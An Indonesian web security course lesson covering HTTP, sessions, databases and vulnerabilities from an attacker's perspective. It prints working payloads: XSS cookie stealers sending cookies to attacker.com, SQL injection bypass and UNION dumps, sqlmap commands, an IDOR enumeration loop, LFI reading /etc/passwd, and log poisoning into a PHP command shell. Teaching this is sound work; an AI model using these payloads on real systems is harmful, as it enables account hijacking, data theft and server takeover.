Web Technology — Membedah Arsitektur dan Komunikasi Aplikasi Web
S5: Web Technology — Membedah Arsitektur dan Komunikasi Aplikasi Web

Web Technology:Membedah Arsitektur dan Komunikasi Aplikasi Web
Mayoritas target serangan modern saat ini berbasis web. Namun, kesalahan terbesar para pemula adalah langsung melompat menggunakan alat pemindai otomatis tanpa memahami bagaimana sebuah aplikasi web dibangun. Untuk memanipulasi sebuah sistem, kamu harus terlebih dahulu memahami siklus hidup data, struktur basis data, dan bahasa yang digunakan oleh server maupun browser.
1. Anatomi Protokol HTTP — Request & Response
Setiap interaksi di web mengandalkan protokol HTTP (Hypertext Transfer Protocol). Protokol ini berbasis teks dan terdiri dari dua komponen utama: Request (dari client ke server) dan Response (balasan server). Memahami struktur ini adalah fondasi dari semua web exploitation.
Anatomi HTTP Request:
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=abc123xyz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Length: 32
username=admin&password=secret123
Anatomi HTTP Response:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=newtoken456; HttpOnly; Secure
X-Powered-By: PHP/7.4.3
Server: Apache/2.4.41 (Ubuntu)
<html>…</html>
X-Powered-By dan Server di atas — server secara sukarela memberitahu teknologi yang digunakan. Ini adalah informasi berharga dalam fase Fingerprinting dan bisa langsung dicari CVE-nya.| Method | Fungsi | Potensi Eksploitasi |
|---|---|---|
| GET | Ambil data. Parameter tampil di URL. | Parameter di URL rentan SQLi, XSS reflected, IDOR. |
| POST | Kirim data (form, login, upload). | Body payload rentan SQLi, file upload exploit, CSRF. |
| PUT | Update/upload resource ke server. | Jika tidak diproteksi bisa upload webshell langsung. |
| DELETE | Hapus resource di server. | Broken Access Control — hapus data user lain. |
| OPTIONS | Cek method apa saja yang diizinkan server. | Recon — mengetahui method berbahaya yang aktif. |
| Kode | Artinya | Makna bagi Attacker |
|---|---|---|
| 200 | OK — request sukses. | Endpoint aktif, path ditemukan saat fuzzing. |
| 301/302 | Redirect permanen/sementara. | Potensi Open Redirect jika parameter URL bisa dikontrol. |
| 401 | Unauthorized — butuh autentikasi. | Endpoint sensitif — target brute force atau token bypass. |
| 403 | Forbidden — akses ditolak. | Resource ada tapi diblokir — coba 403 bypass techniques. |
| 404 | Not Found. | Path tidak ada. Lanjut fuzzing wordlist lain. |
| 500 | Internal Server Error. | Server crash — kemungkinan besar input kamu memicu bug. Analisis error message-nya. |
2. Cookie, Session, dan Token — Mekanisme Identitas Web
HTTP bersifat stateless — setiap request berdiri sendiri tanpa memori request sebelumnya. Untuk mengenali pengguna yang sudah login, web menggunakan tiga mekanisme utama:
- Cookie — File kecil yang disimpan di browser. Dikirim otomatis setiap request ke domain yang bersangkutan.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
⚠️ Flag HttpOnly mencegah JavaScript membaca cookie (mitigasi XSS). Tanpa flag ini = cookie stealing via XSS. - Session — ID unik yang disimpan di server. Browser hanya menyimpan session ID-nya via cookie. Jika session ID bisa ditebak atau dicuri = Session Hijacking.
⚠️ Session ID yang lemah (sequential, pendek, tidak random) bisa di-brute force. - JWT (JSON Web Token) — Token terenkripsi yang berisi klaim user. Sering digunakan di API modern.
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SIGNATURE
⚠️ Jika algorithm di-set ke “none” atau secret key lemah = JWT Forgery attack.
Real Case: Cookie Stealing via XSS
<script>
new Image().src = “http://attacker.com/steal?c=” + document.cookie;
</script>
# Attacker menerima di server-nya:
# GET /steal?c=session=abc123xyz;authToken=eyJhbG…
HttpOnly pada cookie session. Implementasi CSP (Content Security Policy) untuk mencegah eksekusi script eksternal.3. Arsitektur Basis Data & Backend
Aplikasi web modern memisahkan logika tampilan (Frontend) dengan pusat data (Backend & Database). Pemahaman tentang bagaimana query dieksekusi adalah kunci dari eksploitasi data.
[WEB ARCHITECTURE : DATA FLOW]
Relational Database (SQL): Menggunakan tabel terstruktur — MySQL, PostgreSQL, MSSQL, SQLite. Jika input pengguna langsung dimasukkan ke dalam query SQL tanpa sanitasi = celah SQL Injection tercipta.
NoSQL Database: Berbasis dokumen dinamis — MongoDB, Redis, CouchDB. Struktur berbeda tapi tetap rentan terhadap manipulasi logika query jika autentikasinya lemah atau input tidak disanitasi (NoSQL Injection).
ORM (Object-Relational Mapping): Layer abstraksi di atas database (Eloquent, SQLAlchemy). Mengurangi risiko SQLi konvensional, tapi raw query tetap bisa berbahaya jika digunakan sembarangan.
| Database | Tipe | Kerentanan Umum | Tool Exploit |
|---|---|---|---|
| MySQL | Relational (SQL) | SQL Injection, weak credentials, file read via LOAD_FILE() | sqlmap, manual |
| MSSQL | Relational (SQL) | SQLi + xp_cmdshell untuk RCE, stacked queries | sqlmap, manual |
| MongoDB | NoSQL (Document) | NoSQL Injection via operator $where, $regex, auth bypass | manual, NoSQLMap |
| Redis | NoSQL (Key-Value) | Exposed tanpa auth, RCE via config rewrite | redis-cli, manual |
4. SQL Injection — Real Case & PoC
SQL Injection adalah kerentanan paling klasik sekaligus masih menjadi salah satu yang paling umum ditemukan hingga hari ini. Terjadi ketika input pengguna langsung digunakan dalam query SQL tanpa sanitasi.
Kode PHP yang Rentan:
$username = $_GET[‘user’];
$query = “SELECT * FROM users WHERE username = ‘$username'”;
$result = mysqli_query($conn, $query);
PoC — Classic Auth Bypass:
admin‘ OR ‘1’=’1
# Query yang terbentuk:
SELECT * FROM users WHERE username = ‘admin’ OR ‘1’=’1′
# ‘1’=’1′ selalu TRUE → semua baris dikembalikan → login bypass!
PoC — UNION-Based Data Extraction:
# Step 1: Cari jumlah kolom dengan ORDER BY
http://target.com/item?id=1 ORDER BY 3–
# Step 2: UNION untuk ekstrak data database
http://target.com/item?id=-1 UNION SELECT 1,database(),user()–
# Output: myapp_db | root@localhost
# Step 3: Dump tabel users
http://target.com/item?id=-1 UNION SELECT 1,username,password FROM users–
# Output: admin | 5f4dcc3b5aa765d61d8327deb882cf99 (MD5: “password”)
Otomasi dengan sqlmap:
$ sqlmap -u “http://target.com/item?id=1” –dbs
# Dump tabel spesifik
$ sqlmap -u “http://target.com/item?id=1” -D myapp_db -T users –dump
# Scan dengan cookie (autentikasi)
$ sqlmap -u “http://target.com/profile?id=1” –cookie=“session=abc123” –dbs
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
5. Cross-Site Scripting (XSS) — Real Case & PoC
XSS terjadi ketika attacker berhasil menyisipkan script berbahaya ke dalam halaman web yang kemudian dieksekusi oleh browser korban. Ada tiga tipe utama: Reflected, Stored, dan DOM-based.
| Tipe | Cara Kerja | Dampak |
|---|---|---|
| Reflected XSS | Script di URL, langsung di-reflect ke halaman tanpa disimpan. | Phishing, cookie stealing via link berbahaya. |
| Stored XSS | Script disimpan di database, dieksekusi setiap kali halaman dibuka pengguna lain. | Paling berbahaya — bisa hijack session semua user yang membuka halaman. |
| DOM-based XSS | Manipulasi DOM langsung oleh JavaScript client-side tanpa melibatkan server. | Lebih sulit dideteksi WAF karena tidak melewati server. |
PoC — Stored XSS pada kolom komentar:
<script>alert(document.domain)</script>
<!– Bypass filter dasar –>
<img src=x onerror=“alert(1)”>
<svg onload=“alert(document.cookie)”>
<!– Payload cookie stealer –>
<script>
fetch(“https://attacker.com/log?c=”+btoa(document.cookie))
</script>
htmlspecialchars() di PHP). Implementasi CSP header yang ketat. Set flag HttpOnly pada cookie session.6. IDOR — Insecure Direct Object Reference
IDOR adalah kerentanan kontrol akses di mana aplikasi menggunakan input dari pengguna untuk mengakses objek secara langsung tanpa verifikasi kepemilikan. Salah satu bug yang paling banyak ditemukan di program bug bounty.
Real Case — Akses Data User Lain:
# Aplikasi menampilkan profil di:
GET /api/user/1337/profile
# Coba ganti ID ke user lain:
GET /api/user/1338/profile
# Jika server merespons data user 1338 tanpa error = IDOR!
{“id”:1338,”email”:”victim@email.com”,”phone”:”081234567890″}
# Enumerasi massal dengan Bash:
$ for id in {1000..2000}; do
curl -s -H “Cookie: session=abc123” http://target.com/api/user/$id/profile
done | grep -v “Unauthorized”
7. Directory Traversal & File Inclusion
Directory Traversal terjadi ketika attacker bisa memanipulasi path file untuk mengakses file di luar direktori yang seharusnya. File Inclusion (LFI/RFI) membawa ini selangkah lebih jauh — hingga eksekusi kode.
PoC — Local File Inclusion (LFI):
http://target.com/page?file=about.html
# Payload LFI — baca /etc/passwd:
http://target.com/page?file=../../../../etc/passwd
# Jika berhasil, response mengandung:
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
# LFI → RCE via Log Poisoning
# 1. Inject PHP ke User-Agent (masuk ke access.log)
curl -A “<?php system(\$_GET[‘cmd’]); ?>” http://target.com/
# 2. Include log file via LFI + execute
http://target.com/page?file=../../../../var/log/apache2/access.log&cmd=id
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
allow_url_include di PHP configuration.8. OWASP Top 10 — Peta Ancaman Web Modern
OWASP (Open Web Application Security Project) menerbitkan daftar 10 kerentanan web paling kritis yang diperbarui secara berkala. Ini adalah referensi standar industri untuk web security testing.
| # | Kategori | Contoh Kerentanan |
|---|---|---|
| A01 | Broken Access Control | IDOR, privilege escalation, akses endpoint admin tanpa autentikasi. |
| A02 | Cryptographic Failures | Password disimpan plain text, HTTP tanpa HTTPS, enkripsi lemah. |
| A03 | Injection | SQL Injection, NoSQL Injection, Command Injection, LDAP Injection. |
| A04 | Insecure Design | Arsitektur yang insecure by design, missing threat modeling. |
| A05 | Security Misconfiguration | Default credentials, directory listing aktif, debug mode di produksi. |
| A06 | Vulnerable Components | Library/framework outdated dengan CVE yang sudah diketahui publik. |
| A07 | Auth Failures | Brute force tanpa rate limit, session tidak di-invalidate saat logout. |
| A08 | Software Integrity Failures | Supply chain attack, update tanpa verifikasi signature. |
| A09 | Logging Failures | Tidak ada log untuk aktivitas login gagal, tidak ada alerting. |
| A10 | SSRF | Server melakukan request ke URL yang dikontrol attacker, bisa akses internal network. |
Kesimpulan
“Kamu tidak bisa membongkar mesin jika tidak tahu bagaimana setiap sekrupnya bekerja. HTTP header, cookie, session, dan query database adalah komponen yang akan kita manipulasi di sesi-sesi berikutnya.”
Sebelum menggunakan tools otomatis, pastikan kamu paham apa yang terjadi di balik setiap request dan response. Fondasi ini yang membedakan antara script kiddie dan researcher sungguhan.
Selanjutnya: S6 — Cloud & DevOps Security →